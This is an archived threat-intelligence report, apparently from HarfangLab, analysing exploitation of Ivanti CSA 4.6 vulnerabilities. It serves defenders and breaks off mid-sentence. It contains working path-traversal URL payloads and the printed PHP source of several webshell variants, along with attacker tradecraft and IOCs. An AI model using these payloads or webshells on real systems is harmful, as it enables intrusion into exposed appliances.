{
	"id": "07cdd14c-f24e-4db0-b28b-01ae3be145a0",
	"created_at": "2026-04-06T00:09:53.585234Z",
	"updated_at": "2026-04-10T03:23:51.615237Z",
	"deleted_at": null,
	"sha1_hash": "6b0303e92d1d83da2b8816c6df6de2fd2d48913e",
	"title": "Further insights into Ivanti CSA 4.6 vulnerabilities exploitation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2533375,
	"plain_text": "Further insights into Ivanti CSA 4.6 vulnerabilities exploitation\r\nPublished: 2025-02-10 · Archived: 2026-04-05 13:07:27 UTC\r\nPublished on 10 February, 2025 32min\r\nIdentifier: TRR250201.\r\nSummary\r\nBetween October 2024 and late January 2025, public reports described the exploitation of Ivanti CSA\r\nvulnerabilities which started Q4 2024. We share analysis results confirming a worldwide exploitation,\r\nthat lead to Webshells deployments in September and October 2024.\r\nThis report also offers unique insight into malicious activities that were conducted by a threat actor\r\nwithin a targeted organization in September 2024, following the compromise of a Ivanti CSA device.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 1 of 23\n\nWe identified a cluster of associated implants and infrastructure.\r\nFinally, we share a detailed root causes analysis for CVE-2024-8963 (likely covering CVE-2024-9381\r\nas well), which was erroneously linked to PHP scripts before. This analysis should help defenders\r\ncomprehensively hunt for associated exploitation, and fix the causes of such flaws.\r\n📑\r\nBackground: Ivanti CSA vulnerabilities\r\nCVE-2024-8963 analysis\r\nBroker\r\nPayloads\r\nVulnerability breakdown\r\nFixing CVE-2024-8963 (and more)\r\nIvanti CSA Webshells\r\nVariant 1: Simple PHP system wrapper\r\nVariant 2: PHP encoded eval wrapper\r\nVariant 3: Ice-Scorpion/Behinder PHP Webshell\r\nVariant 4: Godzilla PHP Webshell\r\nVulnerable devices and Webshells targets\r\nBehind the appliance: case overview\r\nNHAS reverse_ssh\r\nAdditional details on malicious tactics and tools\r\nInfrastructure\r\nAttribution: if it quacks like a duck…\r\nConclusion: patching is not enough\r\nAppendix: indicators and detection rules\r\nIndicators of compromise (IOCs)\r\nYara rules\r\nSuricata rules\r\nBackground: Ivanti CSA vulnerabilities\r\nThe Cloud Service Appliance (CSA) is a server software solution (a “virtual appliance”) developed by Ivanti\r\n(formerly LANDESK) as part of its endpoint management suite. CSA enables enterprises to remotely inventory,\r\npatch, update and troubleshoot devices. Due to its design, which allows managed devices to connect from various\r\nnetworks, Ivanti CSA is intentionally exposed to Internet.\r\nBetween September 10 and October 8, 2024, Ivanti issued several security advisories detailing a series of critical\r\nvulnerabilities in CSA. These vulnerabilities, when combined, allowed an unauthenticated attacker (CVE-2024-\r\n8963) to remotely execute OS commands (CVE-2024-8190 or CVE-2024-9381) or SQL statements (CVE-2024-\r\n9379) in CSA 4.6 prior to Patch 519.\r\nStarting September 13, 2024, public reports stated those vulnerabilties were exploited in the wild, most notably:\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 2 of 23\n\nthe detailed reporting of exploitation cases by Fortinet in October 11, 2024;\r\nan alert notice by the French government CERT in October 22, 2024;\r\na detailed CISA/FBI joint cybersecurity advisory in January 22, 2025.\r\nMeanwhile in September 16, 2024, an exploitation script had been released publicly for CVE-2024-8190.\r\nCSA version 4.6 reached its end of life on August 31, 2024. Despite this, Ivanti released Patch 519 on September\r\n10, 2024, addressing some vulnerabilities (CVE-2024-8190 and CVE-2024-8963). CVE-2024-8190 was explicitly\r\nfixed in DateTimeTab.php (see Fig. 1), while CVE-2024-8963 was unintentionally mitigated due to a\r\n“functionality removal” before its discovery (see Fig. 2). Ivanti recommended that customers upgrade to the\r\nsupported CSA version 5.0 branch.\r\nFigure 1 – Patch 519 fix for CVE-2024-8190 in DateTimeTab.php (left: vulnerable, right: fixed)\r\nFigure 2 – Patch 519 functionality removal that incidentally disabled CVE-2024-8963 (in other\r\nwords: Ivanti fixing vunerablities in the future)\r\nWhile active exploitation was only confirmed in CSA 4.6 (specifically prior to Patch 519), some vulnerabilities\r\naffecting CSA 5.0 were later addressed in version 5.0.2 on October 8, 2024.\r\nCVE-2024-8963 analysis\r\nIvanti initially described CVE-2024-8963 on September 19, 2024 as a path traversal vulnerability enabling\r\n“remote unauthenticated attacker to access restricted functionality“. Subsequent reporting by Fortinet on October\r\n11, 2024 revealed vulnerability exploitation details. However, their root cause analysis erroneously attributed the\r\nvulnerability to PHP scripts: “ /gsb/users.php , was assigned to the variable $filename in the\r\n/client/OnDemand.php code, which led to the path traversal vulnerability“.\r\nOur analysis actually shows that CVE-2024-8963 is the result of a combination of URL parsing issues in the\r\nIvanti-proprietary Web server for CSA ( broker ), as well as a confusing behavior in chosen configuration for\r\nPHP CGI.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 3 of 23\n\nWe assert with high confidence that CVE-2024-9381 (disclosed on October 8, 2024, and fixed in CSA 5.0.2) has\r\ncommon root causes.\r\nBroker\r\nFilename broker\r\nVersion Version 4.6.0 [518.0], dated Nov 17 2023 21:42:50\r\nHash (SHA256) 32fd630be301090883ef0369e419f993562fbfa7af1449c0bf2c5e52403adbcd\r\nbroker is a proprietary C++ Web server developed by Ivanti to handle HTTP/S requests for CSA. It implements\r\nmultiple authentication schemes, including a PostgreSQL-backed user/password HTTP Basic Auth, while relying\r\non PHP CGI 8.2.10 to execute scripts.\r\nVirtual root (“VRoot”) dynamically map URL paths to backend files and functionalities. These VRoots are\r\ndefined with XML files. Both definitions and server-exposed files reside in the default\r\n/opt/landesk/broker/webroot directory.\r\nDebug logs for broker are enabled via -V\u003cnumber\u003e commandline argument (where \u003cnumber\u003e represents a 1-\r\nbyte bitmask controlling verbosity levels). Logs output is available through both SystemD journal ( journalctl -\r\nu broker.service -f ) and traditional syslog.\r\nPayloads\r\nAs described by Fortinet, CVE-2024-8963 can be exploited through crafted URLs (later called “payloads”), such\r\nas:\r\nhttps://\u003chostname\u003e/client/index.php%3F.php/gsb/users.php\r\nThis payload leads to the restricted PHP file /gsb/users.php (normally requiring authentication) to be executed\r\ninstead of the unrestricted /client/index.php endpoint.\r\nIn fact, any reference to a PHP file (even one that does not exist!) under a virtual root where PHP is enabled can\r\nserve as the initial path component, while every restricted PHP file under any virtual root can be accessed, through\r\nthe same kind of URL:\r\nhttps://\u003chostname\u003e/client/doesnotexist.php%3F.php/rc/about.php\r\nHere, the restricted /rc/about.php script is executed through the same vulnerability mechanism (even if the\r\ndoesnotexist.php file under the unrestricted /client virtual root does not exist).\r\nFollowing CSA 4.6 Patch 518’s removal of the unrestricted /client virtual root configuration (see Fig. 2),\r\nresidual attack surface persisted via CVE-2024-9381 in CSA ≤ 5.0.2. This similar vulnerability permits “cross\r\nvirtual root” execution in a same way, but for authenticated users only:\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 4 of 23\n\nhttps://\u003chostname\u003e/gsb/stilldoesnotexist.php%3F.php/upload/upload.php\r\nThe generalized payload pattern for both CVE-2024-8963 and CVE-2024-9381 follows:\r\nhttps://\u003chostname\u003e\u003cInitialPath\u003e%3F.php\u003cTargetPath\u003e\r\nWhere:\r\n\u003cInitialPath\u003e is a server-relative path to a PHP file (which does not have to exist) under a virtual root\r\nwhere PHP is enabled. The associated PHP file, if it exists, will not be executed;\r\n\u003cTargetPath\u003e is a server-relative path to an another existing and access-restricted PHP file, which will be\r\nexecuted.\r\nVulnerability breakdown\r\nIn order to describe the causes of CVE-2024-8963 (which should include causes of CVE-2024-9381), we will\r\nbreak the Web server processing down for the following previously disclosed payload URL:\r\nhttps://\u003chostname\u003e/client/index.php%3F.php/gsb/users.php\r\nImproper URL parsing sequence\r\nThe first and most significant cause of the analyzed vulnerability is that the broker Web server processes URLs\r\nbefore decoding percent-encoded characters. Specifically, the Web server relies on the raw URL (before any\r\npercent-decoding) to split and extract URL parts (typically scheme, host, path and optional query string, see\r\nLDParseURL function in Fig. 3).\r\nThis implementation flaw leads to misinterpretation of percent-encoded characters. In our example payload, the\r\n? is encoded to %3F , causing broker to misclassify the entire string after /client/index.php as part of the\r\nURL path, rather than correctly identifying a query string.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 5 of 23\n\nFigure 3 – The received URL is parsed prior to decoding, leading to unexpected results\r\nConsequently, instead of properly parsing /client/index.php as the URL path and %3F.php/gsb/users.php as\r\na query string, broker interprets the entire /client/index.php%3F.php/gsb/users.php as the URL path. After\r\ndecoding (see URLUnescape function in Fig. 3), this becomes /client/index.php?.php/gsb/users.php .\r\nFirst PHP URL parsing inconsistency\r\nThe Web server implements a security check to prevent processing of PHP URLs containing multiple paths, such\r\nas CGI URLs with “PATH_INFO“. This check searches for path separators (such as / ) after the .php\r\nextension in the URL path (see Fig. 4). Under normal cicumstances, detection of multiple paths should trigger an\r\nerror response.\r\nThis check legitimately ignores content after the ? character (as query strings may contain paths) and operates\r\non the decoded URL (after percent-encoded characters have been decoded). In our example payload, the %3F is\r\nnow decoded to ? , causing the check to ignore /gsb/users.php entirely.\r\nFigure 4 – The second path in our example payload is considered to belong to a query string\r\nThis implementation reveals an inconsistency in broker ‘s PHP URL parsing logic: the multiple path check is\r\nsupposedly applied on the URL path without the query string, but still implements an exception for a query string.\r\nAt this point, the URL processing of our example payload should have returned an error due to the presence of\r\nmultiple paths, but did not.\r\nVirtual root identification and access control\r\nThe Web server then validates URL path against defined virtual root locations. Our example payload matches the\r\n/client location (decoded URL path remains /client/index.php?.php/gsb/users.php at this point). The\r\nvirtual root for /client path is defined in the /opt/landesk/broker/webroot/client.vroot XML file:\r\n...\r\n\u003cdirectory\u003e\r\n \u003croot\u003e/client\u003c/root\u003e\r\n \u003clocation\u003e/opt/landesk/broker/webroot\u003c/location\u003e\r\n \u003cdirectoryDefault\u003e/client/index.php\u003c/directoryDefault\u003e\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 6 of 23\n\n\u003cauthenticate\u003enone\u003c/authenticate\u003e\r\n...\r\n \u003cmap\u003e\r\n \u003cspec\u003e*.php\u003c/spec\u003e\r\n \u003chandler\u003eCGI\u003c/handler\u003e\r\n \u003cpath\u003e/opt/landesk/php/bin/php-cgi\u003c/path\u003e\r\n \u003c/map\u003e\r\n...\r\n\u003c/directory\u003e\r\n...\r\nAccess control enforcement relies on URL path matching against virtual root definition. In our case, the check is\r\ntrivial since the /client folder permits unauthenticated access (via the \u003cauthenticate\u003enone\u003c/authenticate\u003e\r\nproperty).\r\nAt this stage, the Web server interprets the entire URL path from our payload\r\n( /client/index.php?.php/gsb/users.php ) as referencing a PHP file within the unauthenticated /client\r\nlocation.\r\nSecond PHP URL parsing inconsistency\r\nThe Web server determines action types (file serving, directory listing, PHP script execution) based on URL\r\npatterns. For the /client virtual root, URLs matching *.php are handled by CGI (see above), using the PHP\r\nCGI binary. To identify such case, broker yet again parses the URL path\r\n( /client/index.php?.php/gsb/users.php ), this time searching for the pattern in virtual root definition.\r\nFigure 5 – Generic pattern-based CGI URL parsing within the Web server\r\nWhile PHP URLs containing multiple paths (e.g. PATH_INFO) should be caught by the first PHP URL parsing\r\ncheck (see above), the generic pattern-based CGI parsing still attempts to match a secondary path after the script\r\nextensions (see *.php/@ matching with wildcapt function in Fig. 5, where @ extracts the second path). This\r\ninconsistency likely exists to support PATH_INFO for non-PHP CGI execution (or is just an inconsistent\r\nimplementation kept by mistake after the first PHP URL parsing).\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 7 of 23\n\nAt this stage, the Web server has extracted a PATH_INFO component ( /gsb/users.php ) from our payload\r\n( /client/index.php?.php/gsb/users.php ), and will now prepare for CGI variable assignment.\r\nPHP CGI variables mapping\r\nHaving identified a PATH_INFO, the Web server defines CGI variables for the PHP CGI interpreter (through the\r\nVRoot::Resolve method, which calls VRoot::MapToPhysical as seen in Fig. 5):\r\n$_SERVER['SCRIPT_NAME'] = '/client/index.php?.php';\r\n$_SERVER['PATH_INFO'] = '/gsb/users.php';\r\n$_SERVER['PATH_TRANSLATED'] = '/opt/landesk/broker/webroot/gsb/users.php';\r\nThe PATH_TRANSLATED variable is the conversion of PATH_INFO to an absolute path on the underlying\r\nfilesystem, while SCRIPT_NAME is determined by stripping the identified PATH_INFO from the URL path.\r\nThese CGI variables are then passed to the PHP CGI interpreter (spawned as a broker child process) to\r\ndetermine the PHP script for execution.\r\nA confusing PHP CGI behavior\r\nFrom the previous step, one might believe that PHP CGI would fail to execute, as SCRIPT_NAME points to a\r\nbogus file at this point ( /client/index.php?.php ). But one does not simply guesses PHP CGI.\r\nThe PHP CGI configuration in Ivanti CSA 4.6 deviates from default by disabling cgi.fix_pathinfo :\r\n; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's\r\n; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok\r\n; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting\r\n; this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting\r\n; of zero causes PHP to behave as before. Default is 1. You should fix your scripts\r\n; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.\r\n; http://php.net/cgi.fix-pathinfo\r\ncgi.fix_pathinfo=0\r\nThis might have been turned off because the default “on” behavior can be considered dangerous within some\r\nenvironments. But what happens when cgi.fix_pathinfo is “off” and PATH_TRANSLATED is already set (the\r\nindications from PHP configuration comments do not cover this case)?\r\nAnswer can be found in a PHP bug report from 2014 (more recently referenced in another): when the CGI variable\r\nPATH_TRANSLATED is set and cgi.fix_pathinfo is disabled, PHP CGI completely ignores\r\nSCRIPT_FILENAME, and executes the script set in PATH_TRANSLATED. It is a surprising PHP behavior\r\nconsidering the CGI specification – as the original bug reporter put it: “this is not meant to be the script to run!“.\r\nDue to this behavior and at this point, the Web server will trigger the execution of the\r\n/opt/landesk/broker/webroot/gsb/users.php script (set as PATH_TRANSLATED) from the URL path of our\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 8 of 23\n\npayload. This script should only be reachable by authenticated users (as the /gsb virtual root requires an\r\nauthentication) – but earlier URL parsing granted access based on the /client path virtual root (which did not\r\nrequire authentication).\r\nWrap-up\r\nThe sucessful exploitation of this vulnerability chain results from an interplay of multiple\r\nimplementation flaws within Ivanti’s CSA architecture. At its core, the broker Web server performs\r\nan improper URL decoding sequence, combined with inconsistent URL parsing mechanism, creating a\r\nfundamental security bypass. This weakness is further compounded by PHP CGI’s unexpected behavior\r\nwhen operating under the aforementioned non-default configuration.\r\nSimply using a percent-encoded character ( %3F ), an attacker can trigger the execution of a protected\r\nPHP script from another (possibly unprotected) location. Several protected PHP scripts are then\r\nadditionally offering SQL injections or system commands injections vulnerabilities, ultimately offering\r\nan extensive unauthenticated remote system access.\r\nThere is a caveat in the exact case of CVE-2024-8963: when the processed HTTP request is\r\nunauthenticated, it is executed with the privileges of the nobody user, which are very limited on the\r\nunderlying operating system. That is probably why publicly described exploitation scenarios tried to\r\nretrieve valid Ivanti CSA credentials soon after CVE-2024-8963 usage.\r\nFixing CVE-2024-8963 (and more)\r\nCVE-2024-8963 has been incidentally fixed by “functionality removal” (see Fig. 2 in Background) in CSA 4.6\r\nPatch 519 (and CSA 5.0.0) – which means causes were not really fixed, and in particular that it still left customers\r\nwith CVE-2024-9381 (fixed in CSA 5.0.2 – will never be fixed in CSA 4.6).\r\nThe most simple and shortest fix we can think of for both CVE-2024-8963 and CVE-2024-9381 would consist in\r\nensuring the URL is percent-decoded (and ideally also canonized/normalized) before any other URL-based\r\nparsing. Such fix could be implemented by moving an existing function call earlier – this is what Ivanti did in\r\nCSA 5.0.2.\r\nAdditionally the (limited and seemingly inconsistent) CGI PATH_INFO support could be removed from broker\r\n– as it does not appear to be required at all within CSA Web endpoints.\r\nMore generally, the custom broker Web server constitutes a significant attack surface. It could be (at least\r\npartially) replaced by a standard, proven and possibly open-source Web server (both Apache HTTP and nginx\r\nservers licenses allow usage in proprietary solutions).\r\nIvanti CSA Webshells\r\nAs previously indicated by Fortinet, FR-CERT and CISA/FBI (see Background), attackers having exploited CVE-2024-8963 (and additional vulnerabilities) often tried to deploy Webshells on compromised Ivanti CSA instances,\r\nin order to setup persistence. Only a few samples of the same type of such Webshells were documented by\r\nreferences.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 9 of 23\n\nThrough cooperation and files research in private sources, we could identify additional Webshells. While files date\r\nmanipulation remain possible, all those Webshells appear to have been deployed between 2024-09-06 and 2024-\r\n10-14 (included).\r\nVariant 1: Simple PHP system wrapper\r\nThis variant simply triggers a PHP system function execution, executing the value of a PHP request variable as a\r\nsystem command. Example:\r\n\u003c?php system('/bin/sudo '. @$_REQUEST[/* [REDACTED VARIABLE NAME] */]);\r\nThe most commonly found locations for such Webshells are:\r\n/gsb/help.php ;\r\n/gsb/hsh.php .\r\nVariant 2: PHP encoded eval wrapper\r\nThis variant triggers a PHP eval function execution, which executes PHP code.\r\nThe code to execute is extracted from an HTTP POST variable content, which is base64-encoded and XOR-encoded.\r\nExample:\r\n\u003c?php\r\n$number=/* [REDACTED XOR INTEGER KEY] */;\r\nfunction decoder($s,$number){\r\n $res = '';\r\n $s = rtrim($s,'/');\r\n $s = explode('/',$s);\r\n foreach ($s as $key =\u003e $value) {\r\n $res .= chr($value^$number);\r\n }\r\n return base64_decode($res);\r\n}\r\n$a = decoder($_POST[/* [REDACTED VARIABLE NAME] */],$number);\r\n@eval($a)\r\n?\u003e\r\nA sample of such Webshell has SHA-256 hash\r\naf3f4ece0d98999077cef265c1af9610b96cb7cf3264c115cc6c210cdd9636fe . The most commonly found location for\r\nsuch Webshell is: /client/RCClient.php .\r\nVariant 3: Ice-Scorpion/Behinder PHP Webshell\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 10 of 23\n\nThis variant appears to be a slighlty obfuscated PHP Webshell as generated by Ice-Scorpion/Behinder Webshell\r\nframework, which is developed by a Chinese-speaking author. Extracted sources for more or less aged versions\r\ncan be found online.\r\nExample (formatted for readability):\r\n\u003c?php\r\n@error_reporting(0);\r\nsession_start();\r\n$key=/* [REDACTED STRING KEY] */;\r\n$_SESSION[/* [REDACTED VARIABLE NAME] */]=$key;\r\n$f='file'.'_get'.'_contents';\r\n$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8); /* php:/\r\n$RANDOM_NAME_VARIABLE1=$f($p);\r\nif(!extension_loaded('openssl')) {\r\n $t=preg_filter('/+/','','base+64+_+deco+de');\r\n $RANDOM_NAME_VARIABLE1=$t($RANDOM_NAME_VARIABLE1.\"\");\r\n for($i=0;$i\u003cstrlen($RANDOM_NAME_VARIABLE1);$i++) {\r\n $new_key = $key[$i+1\u002615];\r\n $RANDOM_NAME_VARIABLE1[$i] = $RANDOM_NAME_VARIABLE1[$i] ^ $new_key;\r\n }\r\n} else {\r\n $RANDOM_NAME_VARIABLE1=openssl_decrypt($RANDOM_NAME_VARIABLE1, \"AES128\", $key);\r\n}\r\n$arr=explode('|',$RANDOM_NAME_VARIABLE1);\r\n$func=$arr[0];\r\n$params=$arr[1];\r\nclass RANDOM_NAME_VARIABLE2 {\r\n public function /* RANDOM CHARACTERS */__invoke($p) {\r\n @eval(\"/* RANDOM CHARACTERS */\".$p.\"\");\r\n }\r\n}\r\n@call_user_func/* RANDOM CHARACTERS */(new RANDOM_NAME_VARIABLE2(),$params);\r\n?\u003e\r\nA sample of such Webshell has SHA-256 hash\r\nc64bd109100aac96eba627ca94c1161c8329378e3e8c75a1763c26b70c921891 . The most commonly found location for\r\nsuch Webshell is: /client/LDSupport.php .\r\nVariant 4: Godzilla PHP Webshell\r\nThis variant appears to be a PHP Webshell as generated by a fork of the Godzilla Webshell framework. From the\r\ninclusion of Baidu-related decoy content and the use of the Rebdsek_config variable name, it is possibly the\r\n“ekp” (艾克sec) fork of Godzilla, which is available online. The original Godzilla is also publicly available.\r\nExample:\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 11 of 23\n\n\u003c?php\r\n@session_start();\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\nfunction encode($D, $K){\r\n for ($i = 0; $i \u003c strlen($D); $i++) {\r\n $c = $K[$i + 1 \u0026 15];\r\n $D[$i] = $D[$i] ^ $c;\r\n }\r\n return $D;\r\n}\r\n$pass = 'token';\r\n$payloadName = 'payload';\r\n$key = /* [REDACTED STRING KEY] */;\r\nif (isset($_POST[$pass])) {\r\n $data = encode(base64_decode($_POST[$pass]), $key);\r\n if (isset($_SESSION[$payloadName])) {\r\n $payload = encode($_SESSION[$payloadName], $key);\r\n if (strpos($payload, \"getBasicsInfo\") === false) {\r\n $payload = encode($payload, $key);\r\n }\r\n eval($payload);\r\n $left = substr(md5($pass . $key), 0, 5);\r\n $replacedString = str_replace(\"bdsek\", $left, \"var Rebdsek_config=\");\r\n header('Content-Type: text/html');\r\n echo '\u003c!DOCTYPE html\u003e';\r\n echo '\u003chtml lang=\"en\"\u003e';\r\n echo '\u003chead\u003e';\r\n echo '\u003cmeta charset=\"UTF-8\"\u003e';\r\n echo '\u003ctitle\u003eGetConfigKey\u003c/title\u003e';\r\n echo '\u003c/head\u003e';\r\n echo '\u003cbody\u003e';\r\n echo '\u003cscript\u003e';\r\n echo '\u003c!-- Baidu Button BEGIN';\r\n echo '\u003cscript type=\"text/javascript\" id=\"bdshare_js\" data=\"type=slide\u0026img=8\u0026pos=right\u0026uid=6537022\" \u003e\u003c/sc\r\n echo '\u003cscript type=\"text/javascript\" id=\"bdshell_js\"\u003e\u003c/script\u003e';\r\n echo '\u003cscript type=\"text/javascript\"\u003e';\r\n echo $replacedString;\r\n echo base64_encode(encode(@run($data),$key));\r\n echo \";\";\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 12 of 23\n\necho 'document.getElementById(\"bdshell_js\").src = \"http://bdimg.share.baidu.com/static/js/shell_v2.js?cd\r\n echo '\u003c/script\u003e';\r\n echo '--\u003e';\r\n echo '\u003c/script\u003e';\r\n echo '\u003c/body\u003e';\r\n echo '\u003c/html\u003e';\r\n } else {\r\n if (strpos($data, \"getBasicsInfo\") !== false) {\r\n $_SESSION[$payloadName] = encode($data, $key);\r\n }\r\n }\r\n}\r\n?\u003e\r\nThe most commonly found locations for such Webshells are:\r\n/rc/config.php ;\r\n/gsb/config.php .\r\nVulnerable devices and Webshells targets\r\nFollowing the disclosure of the vulnerabilities in September 2024, we found a total of 1,130 Ivanti CSA devices\r\nonline. By November, approximately 20% of these devices were still vulnerable, with a geographical distribution\r\nshowing about a third located in the United States, followed by France and Germany. In our broader analysis of\r\nmass exploitation activity (not tied to the later described case study) we could confirm the presence of at least one\r\nwebshell deployed on almost half (48%) of the vulnerable devices, showing similar geographical distribution:\r\nAnalysis of the targeted sectors1, reveals that manufacturing companies, government entities, healthcare\r\norganizations, Finance \u0026 Insurance, and IT service providers are among the most heavily targeted. Other\r\nnoteworthy verticals are Telecom, Pharmaceuticals, Chemicals, Mining and Conglomerates.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 13 of 23\n\nFigure 7 – Targets’ industry vertical distribution, excluding unknown\r\nIt is important to highlight that the data on targets does not necessarily reflect a single coordinated attack\r\ncampaign. Instead, it provides an overview of internet-exposed Ivanti devices that various threat actors have likely\r\ncompromised through opportunistic exploitation.\r\nLooking at the various webshells’ distribution we find that the most commonly deployed variant is Variant 1,\r\nwhich we believe was the earliest kind of webshell deployed as part of massive CVE-2024-8963 exploitation.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 14 of 23\n\nFigure 8 – Webshells variant distribution\r\nBehind the appliance: case overview\r\nIn mid-September 2024, our security product detected suspicious activities on 2 Linux servers within a single\r\norganization. Cooperation allowed to confirm that this activity stemmed from the prior exploitation of CVE-2024-\r\n8963 on an Ivanti CSA device in early September 2024.\r\nThe attackers initially exploited the Ivanti CSA device to gain a foothold within the network. From there, they\r\ncompromised another vulnerable and pivotal device in the perimeter, enabling the extraction of valid credentials.\r\nLeveraging these credentials and trusted network path, the threat actor connected to a first Linux server over SSH,\r\nthen to a second one through PostgreSQL. Both connections enabled system command execution.\r\nWhile we were unable to directly analyze the compromised devices along the intrusion path, our security product\r\nprovided valuable insight into the threat actor’s activities and toolset following the initial access. Upon identifying\r\nthe breach, we immediately notified the relevant parties.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 15 of 23\n\nIncident response was initiated quickly enough to contain the attack and prevent the operators from compromising\r\nmore assets. During their activity, the threat actor demonstrated a specific interest for privileged Windows domain\r\ncredentials, a mail server, and data from a SQL database.\r\nNHAS reverse_ssh\r\nFilename linw\r\nHash (SHA256) 9f97997581f513166aae47b3664ca23c4f4ea90c24916874ff82891e2cd6e01e\r\nFile Type ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header\r\nLess than 5 minutes after they established a connection to the first Linux server, operators downloaded and\r\nexecuted an implant from 195.133.52[.]87 over HTTP using curl . It was then used as the main access to the\r\ncompromised server.\r\nThis implant is a UPX-packed sample of the open-source “NHAS reverse_ssh” – a Golang-developped SSH\r\nclient, which is aimed at connecting back to a command and control (C2) SSH server.\r\nFigure 9 – Functional C2 diagram for reverse_ssh, as presented on author’s repository\r\nTo circumvent possible SSH TCP ports filtering, the connection to the C2 server can optionally utilize HTTP, TLS\r\nor WebSocket as alternative transport channels. On the other side of the C2 server, malicious operators also\r\nleverage SSH to remotely control connected clients (see Fig. 9). The described sample uses a WebSocket transport\r\n(over TCP port 80) to the www.vip8025.mom C2 server (during the time of activity, the C2 hostname pointed to\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 16 of 23\n\n195.133.52[.]87 ). This C2 server is identified in the sample by a SSH public key fingerprint of\r\nae21cccc9cef126d164449370d5401f3e738d9e94ee4481dc198302718d37f01 .\r\nThis sample was downloaded and executed through a shell script (called linw.sh ) which matches the default\r\ndeployment script template from the NHAS open-source repository. From embedded string information that are\r\nleft by the Golang compiler in the binary, we can determine that the sample was compiled from the source tree of\r\ncommit ID e7c52e54622168a737c5592894d85bec3758b0bd (published on 2024-07-03).\r\nWe could identify additional samples using the same C2 server (designated by the IP 195.133.52[.]87 ), sharing\r\nthe same SSH server public key fingerprint and originating from the same staging server in September 2024:\r\nSHA-256 File Type\r\nFile\r\nName\r\n61928ff36c5d8983853ec2f411860b97231729f047527434d3b2db8bf0b42d25 ELF lins\r\n4c86e8c21451074a52cc8d60a262c683aaf4cb6b2634fea8efdd866ea2dbd3aa ELF tl\r\n074739c7ccdee5baef649b7f7cb53668109be8f7e016294b66a5d1469803e42b ELF si\r\n7798b45ffc488356f7253805dc9c8d2210552bee39db9082f772185430360574 PE (64 bits) win\r\ncae96b72244855a3d98a42bb3f65daab1cd06e9be638553e2ebf1f8a66b5cc8a\r\nPE (64 bits) – Likely\r\nunpacked but\r\ncorrupted\r\nwdl\r\nWe noticed that later on 2024-12-18, the tl sample (SHA-256\r\n4c86e8c21451074a52cc8d60a262c683aaf4cb6b2634fea8efdd866ea2dbd3aa ) was submitted to a public online file\r\nmultiscanner service from an IP address in Turkey.\r\nAs a final note, it should be noted that NHAS reverse_ssh is embedded as-is in a superset open-source implant\r\ncontrol platform called “Supershell“. As a result, NHAS reverse_ssh can be distributed and/or controlled by\r\nSupershell instances.\r\nAdditional details on malicious tactics and tools\r\nReconnaissance\r\nOperators deployed 2 publicly available vulnerability scanners to further map the compromised perimeter and\r\nidentify exploitable assets. Those tools are implemented in Golang by Chinese-speaking developers: nacs, fscan.\r\nThe threat actor relied on available system and Python software packages managers to install some toolset\r\ndependencies and setup its working environment as it deemed fit ( git , tmux , byobu , etc.).\r\nThe threat actor also leveraged dig , which was available on the system, to try maping the whole target’s DNS\r\nzone.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 17 of 23\n\nLateral movement and privilege escalation\r\nIn order to move laterally in the compromised perimeter, the threat actor attempted vulnerable services\r\nexploitation, as well as credentials gathering and spraying.\r\nThe operators notably tried to exploit the following vulnerabilities, using publicly available tools and scripts in the\r\nprocess:\r\nCVE-2020-1472: a Microsoft Netlogon-based remote domain privilege escalation, also known as\r\n“ZeroLogon”;\r\nCVE-2021-4034: a Polkit-based local privilege escalation on Linux;\r\nCVE-2022-1388: an authentication bypass on F5 BIG-IP network devices.\r\nAdditionally, the threat actor tried to leverage the following credentials gathering tools:\r\nResponder, a well known tool which spoofs network services to remotely grab Windows credentials;\r\nsearchall, a local credentials gathering tool, implemented in Golang by Chinese-speaking developers.\r\nIn another attempt, operators uploaded a custom binary (called logger , which we unfortunately could not\r\nretrieve) on a Linux server, then modified the pluggable authentication modules (PAM) configuration. We believe\r\nwith medium to high confidence that the threat actor setup a SSH password logger module in order to gather\r\nadditional credentials on the compromised server.\r\nPersistence\r\nIn an attempt to maintain persistence on one of the accessed Linux servers, the operators downloaded an open-source “alternative” SSH server called “ReverseSSH” (which is not NHAS reverse_ssh) from the GitHub release\r\nbinaries. This SSH server uses a defaut password for clients authentication and listens on TCP port 31337 – it is\r\naimed to be used as a backdoor.\r\nThreat actor then moved the downloaded binary alongside the system’s OpenSSH server binary, and scheduled its\r\nexecution through crontab. Both the downloaded binary and the created crontab had their access and modification\r\ntimes set to the ones of existing legitimate system files (for instance, operators used touch -r /sbin/sshd \u003cpath\r\nto malicious SSH shell\u003e to set the 